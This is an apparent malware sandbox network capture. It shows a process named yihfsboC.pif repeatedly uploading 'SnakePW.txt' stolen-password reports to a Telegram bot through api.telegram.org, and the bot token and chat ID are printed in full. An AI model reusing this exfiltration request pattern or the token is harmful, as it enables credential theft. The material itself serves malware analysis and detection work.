2024-11-26 07:26:04 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 61 62 39 65 30 35 30 39 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fab9e050937Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:05 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:05 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388942,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605965,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49912	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:04 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f2f0420657e Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:04 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 32 66 30 34 32 30 36 35 37 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f2f0420657eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:05 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:05 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388944,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605965,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49920	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:06 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f35250cf7bb Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:06 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 33 35 32 35 30 63 66 37 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f35250cf7bbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:07 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:07 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388947,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605967,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49921	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:06 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fc80cbc88b2 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:06 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 63 38 30 63 62 63 38 38 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fc80cbc88b2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:07 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:07 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388949,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605967,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49922	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:06 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f440fe0220d Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:06 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 34 34 30 66 65 30 32 32 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f440fe0220dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:07 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:07 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388950,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605967,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49927	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:08 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f4ce99ede20 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:08 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 34 63 65 39 39 65 64 65 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f4ce99ede20Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:09 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:09 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388954,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605969,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49930	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:08 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f5908777d5b Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:08 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 35 39 30 38 37 37 37 64 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f5908777d5bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:09 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:09 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388956,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605969,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49928	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:08 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fe461bde220 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:08 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 65 34 36 31 62 64 65 32 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fe461bde220Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:09 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
